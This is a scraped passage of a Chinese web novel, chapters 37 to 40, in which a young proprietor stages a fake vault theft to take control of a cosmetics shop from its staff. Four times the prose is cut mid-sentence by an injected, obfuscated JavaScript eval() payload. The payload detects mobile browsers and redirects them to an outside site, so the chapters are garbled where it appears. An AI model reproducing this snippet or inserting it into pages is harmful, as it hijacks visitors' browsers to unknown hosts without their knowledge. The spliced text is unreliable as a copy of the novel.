“指教算不上。”李素染放下账簿冷冷瞧着她道，“大家都是在大爷手里当差，各尽其职吧。” 两人是连夜将坊中账目核对一遍的，待放下算盘时，便听见外头传来三声鸡啼。 竟是丑事了。 外头天还漆黑着，店内烛光摇曳，一阵寒风吹来，竟热得李素染光洁的额头上沁出细密的汗水。 倘若她不说出那句反驳的话乖乖受着也就罢了，可她偏不服气，偏要自己来核对一遍账目，这一核对，还当真发现了错处。 十两库银不翼而飞，账目上却没有半点记载，就连李素染都忍不住怀疑是不是身旁这个小丫头为了压一压她，在库内动了手脚。 可诚如白栖枝所言，这几人她从未踏进过库内半步，时至今日进去的也不过她与紫玉两人。 紫玉是同她一起进的，一举一动都在她眼皮子底下，况且她也算是坊内的老人了，虽然花痴，却也不至于拿了坊里的去讨外头那些俊公子们的欢心。 这样盘算下来，这十两银子竟是真正压在了她的头上。 做过掌柜的都知道，十两银子是小，可府内流水账目是大，这十两银子她不是不能拿出来平账，可这样一来，她便是做了假账，少说是卷铺盖滚蛋，往重了说她可是要吃官司的！况且林家势大，若是被人知道她是从林家被撵出来的，还有什么商贾敢聘她做工？ 想她李素染也是做了二十多年的掌柜了，如今竟败在了这小小十两银子手里，说不甘肯定是有的，不仅是不甘，更是不忿！ 看着白栖枝稚嫩的脸庞，连着三日不将白栖枝放在眼里的她终于正眼瞧着她，肃容道：“东家，库中十两银子不翼而飞确实是我之失责，但还请您容我几日，让我将这事儿查明，给大爷一个交代。” 白栖枝点头道：“我自然是信得过李掌柜的，只是……”她面露难色，视线飘飘悠悠地往下落，竟落在了账本上那记录分明的流水上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872317|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李素染心里“咯噔”一声。 只听白栖枝道：“只是这事儿到底是出自李掌柜手中，若李掌柜想在事情查明前仍任掌柜之职，行掌柜职权怕是不能了。不如这样，这几日您先安心查着，这掌柜之职由我代为任责。说是任责，在事情查明前坊内不好开张，我也不过是担个虚名罢了，待李掌柜查明后，我再把职权交还给李掌柜，可好？” 她说得柔弱勉强却又圆滑至极，毕竟她是东家任免罢权的权能都在她手里掌着，就算李素染又惊又怒又委屈，这人到底还是在她上头，面对她这一贬职，李素染就算再不甘也只能咬碎了牙往肚子里咽。 “是。”她几乎是从牙缝儿里挤出字来，“还请东家容我五日——” “五日？”白栖枝黛眉微蹙，“李掌柜是做掌柜的，岂能不知一寸光阴一寸金的道理？咱们香玉坊若是五日不开张，恐怕就真要倒下去了，倒时候林哥哥若是责问下来，我这个新东家责任是小，掌柜您这位老人怕是在劫难逃，况且林哥哥的性子您是知道的，他若发起火来，便是我也止不住，曾经我在府内只因扫落叶见他见得迟了些，他便生生打了我一巴掌，打得我嘴角流血倒在地上，那滋味，时至今日我还记着呢。若他因此事生气，打我事小，若是难为您，我就算再怎么劝他也劝不得啊……” 白栖枝别的不行，偏一张脸最惹人疼爱，说到“挨打”一事，她的眼泪就跟不要钱似的扑簌簌地往下掉，饶是李素染还在气头上，见她这梨花带雨的模样也不禁软了些心肠。 可还没等她真软下心肠来，就听着白栖枝再次开口： “三日，只三日。” 白栖枝抬眸，长睫抖落一滴清泪，她抬手一抹，那滴泪便只剩下浅浅一道亮渍，随即便若朝日露水蒸腾，不见了踪影。 “此事不易耽搁太久，若是三日之后李掌柜还不能给坊内一个交代，那此事我也只能上报给林哥哥，让他暂做裁决了。” 她这话说的极轻，但于李素染来说，无异于滚雷在耳畔炸开。 她定定地看向白栖枝。 少女绒毛未褪的脸庞隐没在灯火后，是明是暗，晦朔不定，宛若从修罗地狱爬出来的鬼魅，偏又生着一副观音像，连带着眼底垂下的泪珠都像极了从净瓶柳枝上坠下的一滴甘霖。 如若只是这样倒也没什么好怕的，到底是府内锦衣玉食出来的稚子，就算面上再可怕，也不过是装腔作势、虚声恫吓罢了，都不做数的，甚至过不了两天就忘了。 可真令人可怖的是，这孩子青涩稚嫩的眉眼间竟隐隐有了几分沈忘尘与林听澜幻影，仿佛她是两人用血肉浇灌出来的孩子，眉目间挂着他们的相，甚至将他们的面容都柔和了，浮在自己脸上，叫人分不清站在这儿的究竟是一位柔弱稚子，还是她背后掌控着一切的那两人。 此刻，就连李素染也忍不住在心里细细琢磨着一个疑问—— 这孩子，究竟与大爷和那位有着什么关系？ …… 38. 捉贼 眼下不是去想这些的时候，现在账目出了问题，三日为期，她应在期限之内找出那丢失的十两银子。 坊内人去楼空。 昏黄的烛火下堆满了喉中的账本和散落的银票，李素染眉头紧锁。 她轻轻翻开账本，一页页地仔细查看着，去年的每一笔交易、每一项流水，她都一一核查。 手中的算盘打得噼啪作响，毛笔在纸上飞速移动，记录着账本里每一点可疑之处。 可是……没有。 李素染手指微微颤抖，不是因为寒冷，而是因为心惊。 账簿上每一笔流水，分分豪豪，没有一点差错——但那十两银子如今就是不翼而飞，再加上香玉坊打白栖枝来之前就只有他们四个。 都是多年的搭档，这点子信任总归还是有的，她相信不会是铺子里的人动的手脚。 既然不是白栖枝，又不是铺子里的人，那还能是谁？ 难不成当真是自己糊涂了？ 李素染平生自诩聪明谨慎，她提了钥匙，又朝库房内走去。 一箱箱银两整齐地堆放着，每一箱都贴着封条。 李素染敛了衣裙蹲下，仔细检查每一项的封条，在今日白栖枝来检查时封条全部都是完好的，上面并没有被人动过手脚。 那十两银子究竟是怎么丢的？ 李素染接连巡查了三日都并没发现有异。 坊内外都被她巡查了个遍，但仍是一点头绪都没有，难不成她真要被撵出这香玉坊了？ 她二十五岁就被老爷派来帮衬着少爷看管这香玉坊了，如今五年过去，这香玉坊就跟她的家一样，她为了香玉坊，她甚至连成亲的机会都丢弃了，她什么都丢弃了，她怎么不是什么都丢弃了？她把所有的心血都倾注在香玉坊上，她一直都有在好好经营着，哪怕林听澜已经放弃了，哪怕林听澜已经忘记了，她还是硬撑着不让香玉坊真正滴倒下去。 现如今香玉坊就是她的家，铺子里的那些伙计们就是她亲手挑选的、没有血缘的家人们。 可现在只不过是因为来了个新东家，只不过因她在不经意间偷了个懒，她竟要被硬生生撵出这个家来，这叫她怎么甘心？这叫她怎么甘心！ 眼见三日之期就要到，等明儿一早，她就要卷铺盖滚出香玉坊了。 她就要被扫地出门了…… 李素染只觉得脸上一阵冰凉，抬手去摸，竟满脸是泪。 她吹了灯火，正打算听天由命时，忽地—— “吱呀。” 门悄然一响，随即一点灯火如豆停留在门旁的展柜内，一个漆黑的身影缓缓朝坊内延伸，悄无声息地，朝她越发逼近。 这么晚了还有谁会来？ 按下心内疑惑，李素染屏息凝神，屈膝蹲在柜台后看着。 只见那个佝偻背影擦过柜台，竟蹑手蹑脚地朝着库房悄声而去。 李素染不敢出声。 她死死捂着嘴，生怕发出一点声响，甚至不敢提灯，偷偷跟上了那个身影。 黑影四下张望，见无人熟练地从花坛里挖出钥匙，又回头狼顾四周，确保真的无人，才将钥匙轻轻捅进锁眼儿，手抖着，将钥匙一转。 “咔哒——” “啪！” 铜锁发出一声脆响，连带着李素染的手也狠狠拍在他身上。 那身影缓缓转头。 “莫伯？” 雪连三日，不曾有歇，难得的是今日是个月夜，李素染顺光望去：黑夜里，莫伯的脸冻得通红，灰白参半的发须上落满了雪，看上去较平时苍老了不少。 见是李素染，莫伯先是一惊，目光四处躲闪，最后还是无力地垂下手。 “掌柜的……”他声音气若游丝，雪一落，就将他的声音掩埋了。 李素染怎么也想不到，动手的，居然是一向老实忠厚的莫伯！ 可他为什么会这么做？要知道，就算是当年莫当时在外面喝花酒欠了一屁股的债，莫伯都未曾动用过坊内的库银，如今他怎么会……难不成是遇到了什么大难处了？ 李素染当即心下一阵酸楚。 她生来一副热心肠，最见不得亲友受苦，见莫伯如此，当即心疼道：“莫伯，您遇到什么难处同我说一声便好了，有什么事我们能帮的尽量帮，您怎么能……” “掌柜的您误会了。”莫伯从口中呵出一口白气，坦然道，“库银不是我拿的，恰恰相反，我正是有了线索，才会半夜来这库房查寻的。” 李素染道：“那您为何不同我说一声，害得我白担心了。” 莫伯说：“我方才进坊，发现屋内竟无一盏灯火，想来应是掌柜的您睡下了，您昨儿三日未睡，我心疼您，想着让您多睡一会儿，这才自己一人偷偷来此，没成想还是惊动了您。” 李素染道：“哪里惊动不惊动的，如今这般，我根本睡不着……不过您说有线索了，是什么线索？” 莫伯：“这线索我也是今晚翻来覆去睡不着才突然想到的，不知您可还记得经常给咱们送货的那个小崔？” 李素染：“自然记得，不过他已经许久没来咱们坊里了，这库银丢失是近日的事，怎么会牵扯到他？” 莫伯：“掌柜的，您再想想，您上次清点库银是什么时候？” “自然是两天前……哎呀，不对！”李素染当即反应过来。 她上次清点库银是七日前！ 可这又跟库银失踪有什么关系？ 莫伯见她不解，又提醒道：“您可还记得小崔上次来咱香玉坊上货是什么时候？” 李素染一惊：那人上次来正是五日前！ 当时她正外出同药店老板讨价还价，想要低价购一批红蓝花，毕竟香玉坊这一年入不敷出，这需要购置的原材料自然是越低价越好。当时她回来，正见着来送铅粉的小崔匆匆往外赶，她问他这么急着去哪时，他分明说是铺中老板有事吩咐，他赶着去做，这才走得如此匆忙。 如今这么一想！ 还未等李素染将来龙去脉想个仔细，就听见铺子里又有了动静。 说是迟那时快，李素染飞速将库门一锁，将钥匙又放回花坛，随意埋了点土，就拉着莫伯往暗处躲。 月光下，小崔摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876570|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一张脸，衣服里兜着一堆白花花的东西，做贼似的四处张望，随即同莫伯一样，挖出钥匙，打开库门。 见他走得近了，李素染和莫伯这才追上前去。 库房内四处都暗着，小崔从袖里拿出蜡烛与打火石一擦。 四处氤氲着橘黄色的烛光。 小崔谨慎地拿着烛光四处照了照，李素染赶紧拉着莫伯蹲下，待小崔检查完毕，这才半起身子偷偷看着。 只见小崔将烛火靠近箱子上的封条，他的手法很老练，甫一靠近，封条上的松香胶便化开了，可上头的封条却都没有熏黄半分。 小崔蹑手蹑脚地打开封条，又偷偷看了下四周，静静听了听，确保无人这才打开箱子，将衣服下摆中兜着的银子一块块地放进箱子里摆好。 待一切完成，他又将封条印好。 天冷，上头的胶凉得快，只要没人发现，他这技法就是天衣无缝。 从肺腑里吐出一口浊气，小崔抬手擦了擦额头上的虚汗，吹了吹就要往库房外走。 “啊！” 月夜下，李素染和莫伯逆着月光，面色阴沉，宛若修罗鬼差。 李素染柔声道：“小崔啊，这么晚，来我们香玉坊的库房，是想要做什么呀？” 她这话说得没脾气，却偏叫听者毛骨悚然。 一时间，小崔只觉得脑内轰然一响，豆大的汗珠顺着云心月的脸颊流下，他惊恐的发出喃喃声：“李、李掌柜的。” 李素染挑了眉，耐心等他辩解，却没想到这人连辩解都不辩解了，直接跪地求饶：“李掌柜，小人知道错了，小人、小人实在是没办法了，小人在外头欠了赌债，赌坊老板说若我还不上那十两银子，就要剁小人的手啊，小人实在是没有办法了，这才、这才一时鬼迷心窍想着打咱香玉方的主意！这不，小人一回本，就来给掌柜的送银子了，还请掌柜的饶命啊！！！” 他哭得凄惨，头在地上“碰碰”直磕，伤口上沾了雪，血水顺着额头顺流而下，洇湿了一地白雪。 李素染看着，却没有半分怜悯之心。 她平生最恨好赌之人，当年若不是她爹好赌，她李家也不会走投无路到卖儿卖女，她尚且命好，被林家买下，从粗使丫鬟到售货娘子，再到售货娘子一点点成了这香玉坊的掌柜，她这才有了一线生机，而那些与她一同被卖出去的姑娘，如今大多的都不知道四散到何处了，好一点的去给大户人家做了通房丫鬟，坏的就各有各的惨死法，倘若不是她命好，没准她现在就已经尸躺乱葬岗了！ 想着，李素染的心越发地冷硬起来：“饶你？是不可能了，莫伯，赶紧把他绑起来，明儿一早交给小东家和林老板处置，至于是杀是剐，就得看两位的意思了！” 话音刚落，莫伯便麻利地将小崔五花大绑起来。 事情就这样草草了结——至少在李素染眼中是如此。 正当她松了一口气时，却没见到一向老实的莫伯与小崔暗地里交换了个眼神，小崔当即了然，眼底划过一抹狡黠的光，待到李素染回头来看，他又换做那副痛心模样唉声痛哭着。 …… 39. 终局 白栖枝一早来就看见了被五花大绑立在店中的小崔。 “这是……” 见她犹疑，紫玉飞速上前一步道：“还是什么事？这就是那个偷库银的盗贼！这下子事情明了了。你可以把掌柜之职还给李掌柜的了吧？” 这三日，白栖枝当掌柜，店内所有人都是一副恹恹的模样，尤其是紫玉，是非要同她对着干不可，往往白栖枝想问她坊内事情的时候，她不是白她一眼悠悠而去，就是出门找什么李公子王公子陆公子——总之，就是没给白栖枝好脸色看过。 如今贼人已经抓到，她巴不得白栖枝赶紧把掌柜之位还给李素染后灰溜溜地滚蛋，就算不滚蛋，以后在坊里也要好好夹着尾巴做人。 反正就是别端着一副东家的模样在这里惺惺作态，拿乔给谁看？！ 白栖枝立马换做一副笑脸，柔柔道：“还职？可以呀。” 她说得如此干脆，搞得紫玉也是一愣，随即又听白栖枝问道：“可是诸位要如何证明这位伙计就是偷走库银之人呢？” 此话一出，众人皆是一噎。 是啊，他们做事没留痕，如今白栖枝这么一反问，他们也拿不出什么实打实的证据来。若是此刻言行逼问，反倒显得这贼人是被他们屈打成招，拎出来替罪的了。掌柜用伙计当替罪羔羊的事儿向来不少，万一这小崔真反咬他们一口，他们也没辙啊。 此刻反倒是当事人镇定了情绪，踏出一步来站到白栖枝面前。 “东家。”李素染淡淡道，“如今贼人就在这里，您信也是，不信也是，若您真怀疑我李素染，大不了将我上交官府就是，何故在这里疑神疑鬼？” 疑神疑鬼？白栖枝悠然一笑。 就在大家以为她还要出什么幺蛾子时，出奇的，她倒也没反驳，只是伸手出来拉着李素染的手轻拢着，温顺道：“我既成了香玉坊的东家，咱们就是自家人。既然是自家人又有什么信不过的呢？”说着，她轻拍了拍李素染的手，摆出一副老练事故的模样道，“既然掌柜的说他是贼人，那他就是贼人——说，为何要偷我香玉坊的库银？你知不知道你害的掌柜的遭大爷怀疑，差点就要被解聘了？” 眼风猛地一扫，白栖枝的声音骤然凌冽起来，原本软软糯糯的声音压低了音调，倒显得她这幅稚嫩的身躯多出了几分东家的威严出来。 小崔立即跪了下来，惶恐不安地在地上“砰砰”磕头哭求道：“东家，小的真不是故意的，小的也有难言之隐啊！小的、小的不过是一时兴起，想要去赌坊找个快活，谁承想被那王坊主坑了十两银子！那王坊主，他说，若我不能在次日将那十两银子给他，他就要找人把小的多手多脚啊！小的一时间哪里有那么多银子？情急之下，这才出了歹心……小的知错，小的真的知错了，请东家千万不要报官，不让小的这辈子就毁了哇！！！” “呸！你个烂赌鬼，你这辈子早毁了！”紫玉唾弃地朝他吐了口口水，见他这幅窝囊样，觉得不解气，又狠狠一脚将他踹翻在地，朝白栖枝怒道，“既然他已经承认是自己做的，你今早将掌柜一职还给李姐姐，然后再拎着这懒人去大爷那边解释！不然一会儿他换了口供，朝我们反咬一口，我们就算是跳进黄河也洗不清了！” 白栖枝：“不急。” 紫玉：“你倒是不急，事情又不是出在你身上，你自然乐得高高挂起！” 她这话一出，白栖枝并不回答，只是歪了歪脑袋笑看着她，眼里的笑意越发深重起来。 自知说错了话，紫玉心中懊恼，面上却毫不肯示弱，佯装硬气道：“你还想做什么？” 白栖枝回正了头，看向小崔，缓缓道：“总要问问他这钱是怎么来的吧，若是赃款，你可敢收？”说到最后四个字的时候，她的目光又从小崔身上徐徐滑到紫玉身上，定住，不动了。 紫玉恼羞成怒，又狠狠朝着小崔大臂狠狠踹上一脚：“说！钱怎么来的。” “我……我……自是……”小崔支支吾吾。 白栖枝看向他，笑：“你去赌了？” 小崔眼神躲闪。“……” 白栖枝了然一笑：“你又去赌了。” “我……我这也是一时收不住么，人都说有输有赢，既然我输了，那凭什么不能再赢回来？我、我不甘心！”说到这儿，他挺起胸膛，一身的硬气，可在对上白栖枝的目光后，又怂了，蜷着身子，不敢看她，转而看向莫当时，像是抓住救命稻草似的，急急道，“莫兄，东家不懂，你应是懂我的啊！” 莫当时当即后退一步，瞪圆了眼惶恐道：“我懂什么懂？我又不赌，只是朝楼里的姑娘们讨壶花酒罢了，哪像你！” 小崔：“那和女人赌情跟同男人赌钱不都是一回事么？” 莫当时高声道：“那是一回事！” 小崔：“那你说，如若本来心仪你的姑娘突然找了个比你丑恶许多的叫花子，你说，你甘心么！” 莫当时当即哑了火，不吱声了。 反倒是白栖枝缓缓叹了口气：“人呐，是成也不甘心，败也不甘心……” 等到这口气叹完，她缓了几息，抬头，看向李素染，从腰间拿出腰牌，双手递上道：“既然贼人已经捉到，我这掌柜之职便理应交还给李掌柜，这几人多有得罪，还望掌柜的勿怪。” 李素染什么也没说，只是接过腰牌，像摸自己亲生孩子似的仔细摸上两摸，这才又看向白栖枝，继而又看向小崔，冷冷道：“既然事已至此，劳烦东家将这贼人带到大爷面前，听候发落。” “那是自然。”白栖枝欠身一礼，随即看向跪在地上的小崔，正色道，“走吧。” “哎！”似是意识到什么不妥，小崔赶紧又换做长叹口气，摇头痛心疾首道，“唉——！” 闹剧结束，众人稀稀拉拉地散了，只剩一向忠心的莫伯还留在原地，问道：“东家，路上不安全，可要我送你一程？” 白栖枝笑而不语。 趁着众人视线不在这里，她朝莫伯递了个眼神，后者当即心领神会，点点头，躬身退场。 街角无人处。 白栖枝掏出小刀割了绳子，扔给小崔一个鼓鼓囊囊的钱袋。 “嘿嘿！多谢白老板！多谢沈老板！白老板真是料事如神，直到那几个人肯定不会听您的话，这才一早就安排了这出戏码，骗得他们一愣一愣的，说实话，但凡是我演的差点，没准儿这事儿就被看出来了！您是不知道那李素染埋钥匙埋的有多假，我都想帮她埋回去了！不过话又说回来了，”小崔乐得见牙不见眼，看着白栖枝谄媚道，“若不是白老板前几日将我从赌坊救了出来，还帮我还了赌债，不然我就真叫那该死的王坊主剁了手脚了！哼，要不是他在牌桌上动了手脚，我又哪里会……” “嘘。”白栖枝默默收回竖在唇瓣间的手指，开口软糯道，“沈哥哥说，他不想再在淮安见到你，你……懂的吧？” 小崔点头如啄米：“懂懂懂！小的这就离开淮安，保证不碍两位老板的眼！那白老板，小的……就先走了？” 白栖枝点点头。 待小崔转过身后，白栖枝看了看手中那把削铁如泥的小刀，又看向小崔越走越远的背影。 “唉——” 一声叹息后，手中刀锋一转，终究还是平平安安地回到了刀鞘中，白栖枝将它收回袖中，转头，朝林府缓缓走去。 今日天不算太冷。 大昭人人爱茶，年后，林听澜又忙得不着家，只能在夜里偶尔来看沈忘尘一眼，狎昵地摩挲着他的脸，在他眉心处落下一吻，随即又匆匆离开。 他太忙了，连半分调情的时间都闲不出，偏心里惦记着沈忘尘，老是想来陪他，甚至怕他寂寞，都想着把白栖枝从坊内调回来陪着沈忘尘解闷。 “她又不是我的贴身丫鬟，老是陪着我做什么？她也有她的事要做，就让她去闯吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888515|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈忘尘如是说。 如今确实是闲下来了，又有些无聊，沈忘尘将自己一点点从轮椅挪至贵妃榻上，累得满头大汗，待歇息了一炷香后，才在小案上闲敲棋子。 白栖枝来的时候，他正好在一个个地捡棋子，见她来了，心中难免有几分欣慰。 “枝枝，坐，正巧来陪沈哥哥下一局棋。” 做戏要做全套，这个时候她应该刚将小崔带过来受林听澜的审讯。 白栖枝自知这点，眼看时间还长，便乖巧点了点头，坐到沈忘尘对面，看着他收拾残局。 沈忘尘就静静地让她看，自从那次挨打过后，小姑娘一下子就如同换了副性子般温温淡淡的，不似之前那般活泼亲昵，一张小脸上几乎要看不出喜怒来了。 不像她，更像他——这正是沈忘尘想要的。 待到一切整理完毕，白栖枝自觉拿了白棋棋盅，眼见他落下一子，也从盅里摸出一枚白玉棋子。 在她来前，沈忘尘已经独自对弈了三局，棋子沾染了他的余温，此刻还是温的。 白栖枝捏着这枚棋子，感受着上头的温度，直到冷却，才肯走一步棋。 两人就这样有一搭没一搭地下着，也算是闲情逸致。 蓦地，沈忘尘温声开口问道：“枝枝的事，可结束了？” 白栖枝眼看棋局，不敢有他，轻声应道：“嗯。” 沈忘尘道：“那，此局过后可还有下局？” 白栖枝并未出声。 沈忘尘笑意更浓：“枝枝做的如何了？” “尚未开始做呢。”白栖枝看着面前下了大半盘的棋，抿唇思忖片刻，落下一字。 这一子落下，她纵观棋盘，几乎不可闻地轻叹了口气，温声道：“沈哥哥，枝枝棋艺不精，这局，是枝枝输了。” 闻言，沈忘尘也垂眸看向手中的棋盘。 ——险胜。 都说下棋一事一步错步步错，若她前几步未曾落子在那，两人些许还能打个平局。 可输了就是输了，说再多都于事无补。 沈忘尘抬眸，就见着白栖枝起身朝他柔柔欠身一礼：“沈哥哥，掐算时间，我也该回香玉坊了，等晚些，我再来看您。” 沈忘尘臻首轻点，温声道：“去吧。” 目送着小小的身影离开，不知道为何，沈忘尘心里还真涌起来些说不清道不明的孤寂感。 若他双腿还能行动，那他如今必不可能会是这幅人不人鬼不鬼的样子，更不可能只在这偌大的府中做困兽犹斗…… 想着，沈忘尘似是含恨，看着自己那双枯枝般的腿，狠狠地拧了起来。 但是—— 没感觉，甚至连痛感都没有。 它早就死了，连带着曾经那个风华无俦、敢与众人在醉欢楼中把酒言欢大谈庙堂之高的沈忘尘一起，悄无声息地死掉了。 他们甚至连一丝后悔的机会都没留给他，就这样地、长长久久地，逝去了。 如同脱力般地松了手，沈忘尘兀自靠在贵妃榻上，正欲暗自伤神，忽地！ 目光扫回棋盘，一步白子恰如其分地撞入他那双茶雾般渺然的眼眸。 ——东九，南十二。 温润似雪的棋子落在哪里，就注定了此局执白子之人必败。 可它偏又下得巧妙，若对局之人不仔细琢磨，恐怕也发现不了这处异端。 沈忘尘只这么静静看着，怔忪之后，忽地释然地笑了。 他收了那枚棋后头的所有棋子，又捡了它，微微一移，将它放回了它该到的地方，随即一步步地下着。 ——大胜。 原本滞郁在胸腔内堵着的那口浊气忽地就烟消云散了。 沈忘尘欣慰地摇摇头，将局上棋子一一捡起。 其状温润，如同—— 捡起那个尚未残缺的他自己。 …… 40. 改制 白栖枝是掐着点回到店里的，几人见她面色如常，便也没问什么。 “且慢。”见众人将做鸟兽散，白栖枝缓缓开口。 众人向她瞧，就见着她眉眼温润，笑意晏晏。 紫玉不耐烦地说：“有什么话就快说，不要耽误我去见陆公子，不过若是些没用的话你也不需说了，说出来也是给人添堵，倒不如闭嘴。” 白栖枝笑道：“倒也不是枝枝想给各位添堵。”她先是欠身一礼，随即才温声开口，“经此一事，枝枝虽明白此次库银失守本不干李掌柜的事，但转念一想，既然库银能轻易被人所盗，想来应是咱坊内制度有缺，这才叫人钻了空子……” “你想说什么？”紫玉杏眉倒竖，一副即将爆发的模样。 白栖枝只是笑：“我想，为了保险起见，坊里应多设一位副掌柜。一来，可以为掌柜的打下手，令掌柜的不必太过操劳；二来，也是为了让坊内不再出现如今这般乱事，免得造成损失。诸位意下如何？” 紫玉愤愤不平，刚要指眉怒骂，却见李素染上前，不卑不亢道：“大爷可知此事？” 白栖枝道：“我想，作为咱香玉坊的新东家，新增一位副掌柜这事儿，我还是可以一人做主的吧？” 是啊，自来都是主子命令仆从，哪有仆从命令主子的？ 就算白栖枝不想拿自己的名头来压他们，如今为了坊内安宁，也不得不暂用这名头来压制他们。 说到底，她不过是被沈忘尘、林听澜派过来历练的，又算得了什么东家？ 白栖枝正知是如此，才更要利用这层身份，他日她走，也能在这儿留个痕迹。 她不要雁过留痕，她要来时路上遍布她的痕迹，这样当她此生回望时，才能知道自己没有做无用功。 听她如此，李素染忍而不发，只冷冷问道：“那东家想设谁为副掌柜？” “这……”白栖枝假装迟疑，目光却不留痕迹地滑落到莫当时身上。 ——倘若东家真想救咱香玉坊，无论需要什么，我都会为东家肝脑涂地。 ——果真？ ——果真。 总归有人是可以站在她这边的。 像是贫瘠的人生突然赢了个大的，莫当时几欲被她这目光砸得昏了头脑，他不可置信又满是欢喜地看向白栖枝，一双绯红薄唇发着抖却不敢吐露只言片语，只待她这位真正的东家开口。 “他？！”紫玉气得肺都要炸了，“就他这样，也配？！” 白栖枝不理她，只向莫当时欠身一礼，柔柔问道：“莫哥哥，倘若枝枝想让你做这个副掌柜，你可愿意？” 莫当时还没开口，一旁的紫玉率先讥讽道：“我还以为你是个什么人物，原来也被他这幅臭皮囊迷昏了头，你既这么喜欢男人，那这香玉坊还叫什么香玉坊，干脆叫公子坊算了！” 白栖枝仍不理她，只含情脉脉地看向莫当时，又重复了一遍道：“莫哥哥，你可愿意？” 莫当时一颗心扑腾扑腾跳的飞快，只觉得自己好像一脚陷进了棉花里，踩不真实。 听白栖枝这样问他，他激动万分，差点就要一把抱住白栖枝，好在后者自然地后退了半步，他才没真的扑上去，开口，声音都带了颤抖：“既然东家信得过我，那我必定为东家肝脑涂地！这个副掌柜，我一定给您做出彩儿来！” 闻言，白栖枝只是笑着点点头，并不言语，随即看向紫玉，挑了挑眉尖儿。 紫玉气得不行，一双眸愤恨地瞪着她，脸色气得惨白，呼吸都变得重：“你这人！不知廉耻！”说完，她还想骂些什么，却实在是说不出口，干脆一跺脚去挽李素染的胳膊，愤愤道，“素染姐，依我看，咱这香玉坊被这么霍霍下去，迟早有倒的时候，我们走，去别家去，才不受这个气！” 反倒是李素染，气到极致，她反倒冷静下来，开口道：“东家。” “嗯？” 白栖枝装作无意地将鬓角碎发拢到耳后，又顺势摸了摸头上的发簪，李素染立刻哑了火，领着紫玉拂袖而去了。 “东家……”看着儿子还沉浸在欢喜乡里昏着头脑，莫伯半是不解半是慌张地看向白栖枝。 却见后者朝他放了眼神微微点头，他那些想说的话便打碎吞回了肚子里。 都说打人打一双——白栖枝此番自有考量——她不仅要打一双，她要将坊内这三人，全都顺手打一遍。不然，她在这坊中，可真就连半点话语权都夺不到了。 屋内，紫玉气得倒了杯水大口大口地喝着，喝完，痛快地长叹一口气，这才有理智坐下来同李素染急急道： “她一个未长成的黄毛丫头还跟您掰上手腕了，依我看，这个祸害较之前那个有过之而无不及，她若是一直留在坊内，咱们坊肯定死无葬身之地，得想个法子把她撵出去！” 李素染本就头疼得要命，听她这话，只觉太阳穴都在突突地疼。 她无奈道：“这世上只有东家撵奴仆，哪有奴仆撵东家的？更何况她是大爷派来的人，你惹得起她，难不成还惹得起大爷么？” “那也不能叫她在这儿待着！”如同话本子里正派与反派斗法一般，紫玉眼睛咕噜噜一转，欢喜道，“素染姐，不如我们……” 她趴在李素染肩头，附着她的耳，小声密谋。 “不成。”李素染当即沉下眉眼，“她到底还是个孩子，你这样，让她如何？” 紫玉懊恼道：“那该怎么办嘛……如今莫当时都成副掌柜了，那咱们坊还有好吗？！” 李素染安慰道：“也别这么说，这副掌柜就让他当，都是多年的老伙计了，难道他咱们还容不得么？至于之后怎么办，咱们也只能走一步看一步了。” “走一步看一步……”才说那人那人便到。 看着垂头丧气的莫当时，紫玉不忿道：“莫当时，你如今都成了副掌柜了，装出这幅样子给谁看？别是来故意气掌柜的。” “哎呀我气什么掌柜的呀！”莫当时烦躁地挠了下后脑勺，也拎了个碗，坐在两人对面给自己倒了碗水，边倒边道，“方才你俩走得急，没听到东家后面的话——你俩前脚刚走，后脚东家就叫我别太过得意，以后咱这职位都是按拉客多少而重新定夺的，谁拉的客人多，谁来当掌柜、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894991|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副掌柜，你说咱香玉坊都好些时日没开张了，去哪儿拉那些女客去呀！” 紫玉听完眉开眼笑，咯咯打趣道：“那你可完了，你拉不到客人，这辈子就只能被掌柜的死死按在手里咯！” 莫当时：“唉——” 